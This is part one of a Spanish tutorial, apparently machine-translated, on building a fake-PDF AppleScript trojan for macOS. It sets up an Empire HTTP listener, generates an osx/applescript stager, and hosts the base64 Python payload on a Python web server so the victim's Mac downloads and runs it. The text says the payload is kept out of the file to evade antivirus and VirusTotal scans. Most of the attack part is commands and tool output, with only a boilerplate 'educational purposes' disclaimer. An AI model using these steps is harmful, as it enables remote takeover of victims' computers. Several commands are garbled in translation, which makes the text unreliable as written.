Cómo se crean los archivos PDF troyano falso en AppleScript. Parte 1. Crear una carga de etapas

La mayoría de los hackers explotan numerosas vulnerabilidades en los productos de Adobe para entregar cargas útiles a los usuarios de Windows a través de archivos PDF infectados. Sin embargo, no todos saben que los archivos PDF maliciosos también pueden ser perjudiciales para los usuarios de Mac que utilizan la aplicación de vista previa predeterminada de PDF. Por lo tanto, piénselo dos veces antes de hacer clic en un archivo PDF en su MacBook: puede ser un troyano que contiene un rootkit.

En esta miniserie de dos partes, explicaremos en detalle cómo hacer que el archivo se vea como un archivo PDF normal, que en realidad es un troyano de AppleScript que ejecuta de manera invisible el código malicioso en el MacBook de destino o en otro Mac. En el GIF-ke a continuación puede ver el archivo PDF real, así como su versión PDF falsa con código malicioso.

Para empezar, consideremos el principio de funcionamiento de tal ataque.

El sistema del atacante está configurado para usar Empire y coloca un script malicioso de Python. Se crea un archivo AppleScript que parece un PDF real. En el momento en que la víctima abre AppleScript, primero descarga y abre el PDF real para convencer a la víctima de que el PDF falso es real, y luego descarga el pirata informático del servidor y ejecuta el script malicioso de Python. Una vez que se haya iniciado el script de Python, se establecerá una conexión entre la Mac de destino y el servidor del atacante para controlar de forma remota la computadora de la víctima.

Paso 1. Acostúmbrate al Imperio.

Primero usaremos Empire (antes conocido como PowerShell Empire). Este es un marco posterior a la operación, reconocido por ser capaz de generar cargas de Windows PowerShell difíciles de encontrar.

El imperio se basa en el trabajo. varios otros proyectosSe utiliza para proporcionar su funcionalidad básica y las capacidades de sus módulos. Afortunadamente, también es compatible con las cargas útiles de Python que pueden usarse contra MacOS y otros sistemas operativos similares a Unix.

Se recomienda a los lectores que no estén familiarizados con esta herramienta que lean la Guía de inicio de Empire, ya que no explicaremos cómo instalar Empire en Kali Linux ni describiremos en detalle todas las opciones disponibles de clasificación y lista de espera.

Los pasos subsiguientes se pueden realizar en Kali Linux (para ataques a la red local) o desde un servidor privado virtual a Debian (para ataques globales).

Paso 2. Creando un Oyente HTTP Empire

Usando el comando cd, vaya al directorio Empire / y ejecute el siguiente comando:

./empire

Los «oyentes» abrirán puertos para escuchar en el servidor del pirata informático en el que trabaja Empire. Estos puertos serán utilizados posteriormente por un MacBook comprometido para conectarse al oyente de Empire. También se creará un nuevo «listeners» para aceptar conexiones entrantes desde su MacBook.

Para ver una lista de todos los «listeners» disponibles, use este comando:

listeners

La nueva instalación de Empire no tendrá nuevos escuchas, y mostrará el mensaje «No hay escuchas actualmente activos» (no hay escuchas activas). Puede habilitar la escucha HTTP estándar usando el siguiente comando:

uselistener http

Después de instalar el tipo de «escucha», puede usar el comando de información para ver las opciones disponibles:

info

Hay varias opciones, cuya descripción (desafortunadamente) está fuera del alcance de este artículo. La configuración predeterminada funciona bien y solo puede usarla, pero le recomendamos que juegue con las opciones disponibles y configure los «oyentes» para que se ajusten a sus necesidades.

Asegúrese de que los parámetros de Puerto y Host se hayan establecido en 80 y 0.0.0.0, respectivamente, ya que estos parámetros son cruciales para el desarrollo de nuestro artículo. Puede establecer estos valores utilizando los dos comandos siguientes. El uso de un host con IP 0.0.0.0 le dice a Empire que este «oyente» estará disponible en cualquier interfaz. Si Empire se usa contra un MacBook en la red local, el «oyente» estará disponible en la dirección IP local del hacker (por ejemplo, 192.168.0.4). Alternativamente, si Empire está instalado en el VPS, se podrá acceder al «oyente» a través de la dirección IP remota del hacker del servidor de VPS.

establecer puerto 80
establecer Host 0.0.0.0

Para ejecutar el «oyente» de Empire, use el comando de ejecución. Al final, debe dar el mensaje: «¡Se inició la escucha con éxito!» (¡Se inició la escucha con éxito!)

ejecutar

Para verificar que el «oyente» se está ejecutando realmente, puede usar nuevamente el comando de escuchas:

oyentes

Aparecerá una lista de todos sus «oyentes» activos. Anote el nombre del oyente (nombre de la columna). De forma predeterminada, se configurará automáticamente en «http». Si durante la prueba de Empire se crean varios oyentes, entonces, de forma predeterminada, todos los oyentes posteriores se crearán con los nombres «http1», «http2», etc.

(Empire: listeners/http) > listeners
[*] Active listeners:
    Name    Module  Host                        Delay/Jitter    KillDate
    ----    ------  ----                        ------------    --------
    http    http    http://1x.xxx.xxx.x6:80     5/0.0

(Empire: listeners) > _

Con la creación de un «oyente» para este ataque, hemos terminado. A continuación necesitas generar una carga por etapas.

Paso 3. Creando un Stager-load malicioso para macOS

Los stagers son similares a las cargas útiles, se usan para crear conexiones con los «oyentes» de Empire en el momento en que el usuario víctima lo abre.

Para ver los stagers disponibles, ingrese usestager, luego un espacio y presione Tab en el teclado:

usestager <* TABLA DE PRENSA *>

En Empire, hay una docena de stagers dedicados a trabajar con macOS (comienzan con «osx»). En este artículo explicaremos cómo generar un stager de AppleScript.

(Empire: listeners) > usestager
multi/bash          osx/macho                   windows/launcher_bat
multi/launcher      osx/macro                   windows/launcher_lnk
multi/macro         osx/pkg                     windows/launcher_sct
multi/pyinstaller   osx/safari_launcher         windows/launcher_vbs
osx/war             osx/teensy                  windows/launcher_xml
osx/applescript     windows/backdoorLnkMacro    windows/macro
osx/application     windows/bunny               windows/macroless_msword
osx/ducky           windows/csharp_exe          windows/shellcode
osx/dylib           windows/dll                 windows/teensy
osx/jar             windows/ducky
osx/launcher        windows/hta
(Empire: listeners) > _

AppleScriptEs un lenguaje de scripting creado por Apple. Permite a los usuarios administrar directamente las aplicaciones de macOS scripting, así como partes de macOS. Con él, los usuarios pueden crear scripts para automatizar tareas repetitivasCombinando las funciones de múltiples aplicaciones de scripting. añadir nuevas características a las aplicaciones de mac y creando flujos de trabajo complejos. AppleScript se incluye actualmente en todas las versiones de macOS como parte del paquete de automatización del sistema.

Para generar macOS-stager en AppleScript, use el siguiente comando:

usestager osx / applescript

Luego navega por las opciones disponibles usando la información:

info

De gran importancia es la configuración del parámetro «Escucha» para el «escucha» del servidor creado en el paso anterior. Esto le dirá al servidor de pruebas a qué servidor necesitará conectarse cuando se ejecute el AppleScript en el MacBook de destino.

(Empire: listeners) > usestager osx/applescript
(Empire: stager/osx/applescript) > info
Name: AppleScript
Description:
    Generates AppleScript to execute the Empire stage0 launcher.
Options:
    Name        Required    Value       Description
    ----        --------    -----       -----------
    Listener    True        http        Listener to generate stage for.
    OutFile     False                   File to output AppleScript to, otherwise displayed on the screen.
    SafeChecks  True        True        Switch. Checks for LittleSnitch or a Sandbox, exit the staging process if true. Defaults to True.
    Language    True        python      Language of the stager to generate.
    UserAgent   False       default     User-agent string to use for the staging request (defauult, none, or other).

Establezca el valor del parámetro Listener usando el siguiente comando. Aquí se debe usar el nombre del oyente, el parámetro Nombre (en este ejemplo usamos http):

set Listener http

Luego genere un stager de AppleScript usando el comando generate.

generate

Ahora cambiaremos ligeramente el contenido del buscapersonas generado y será ligeramente diferente de su uso previsto. Tenga en cuenta que el código de la captura de pantalla a continuación es un script Python codificado en base64. Este script está diseñado para ejecutarse en un MacBook y para crear una conexión con un servidor hacker. En lugar de incrustar este script Python en AppleScript, se colocará en el servidor del pirata informático y se descargará en la computadora de la víctima cuando se abra un archivo PDF falso.

Usaremos AppleScript en los siguientes pasos para descargar y ejecutar un script de Python, pero no lo incrustaremos en AppleScript. Tal esquema de trabajo permite evitar la detección por los antivirus, ya que de hecho, la secuencia de comandos de Python no estará presente en el archivo PDF falso cuando el programa esté escaneando VirusTotal.

Paso 4. Guardar macOS-stager

Antes de guardar la secuencia de comandos Python generada, debe crear un nuevo directorio. Este directorio se llenará con varios archivos de ataque importantes.

Primero, abra un nuevo terminal y use el comando mkdir para crear un directorio llamado archivos:

archivos mkdir

Luego ve a este directorio / archivos

archivos cd /

La sección resaltada en el script de Python codificado en base64 (vea el paso anterior) debe copiarse y guardarse en un archivo local con el script de nombre en el directorio de archivos. Esto se puede hacer usando el editor nano:

nano script

Guarde el contenido del archivo presionando Ctrl + X, y para salir de Ctrl + Y, presione Entrar.

Paso 5. Inicia el servidor web Python3.

Puede iniciar el servidor Python3 usando el siguiente comando:

python3 -m http.server 8080 &

Python3 creará un servidor web en el puerto 8080, haciendo que los archivos de este directorio sean accesibles para todos. En nuestro caso, queremos que la secuencia de comandos que contiene el código codificado de Python esté disponible para el usuario víctima macOS. El operador & iniciará el servidor web Python3 como un proceso en segundo plano. El uso de este operador en un servidor VPS también será útil, ya que hará que el servidor esté disponible incluso después de cerrar la sesión de SSH.

`/ tokyoneon ~/files
    > python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
_

Enmascaramiento de macOS-stager

Eso es todo acerca de la instalación de un oyente Empire, la generación de un robo de AppleScript y la publicación de un script Python en un servidor web. En el siguiente artículo, mostraremos cómo hacer que AppleScript se cargue y ejecute silenciosamente un script de Python, así como que AppleScript se vea como un archivo PDF real.

Descargo de responsabilidad : este artículo está escrito sólo para fines educativos. El autor o editor no publicó este artículo con fines maliciosos. Si los lectores desean usar la información para beneficio personal, el autor y el editor no son responsables de ningún daño o daño causado.

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.

A %d blogueros les gusta esto: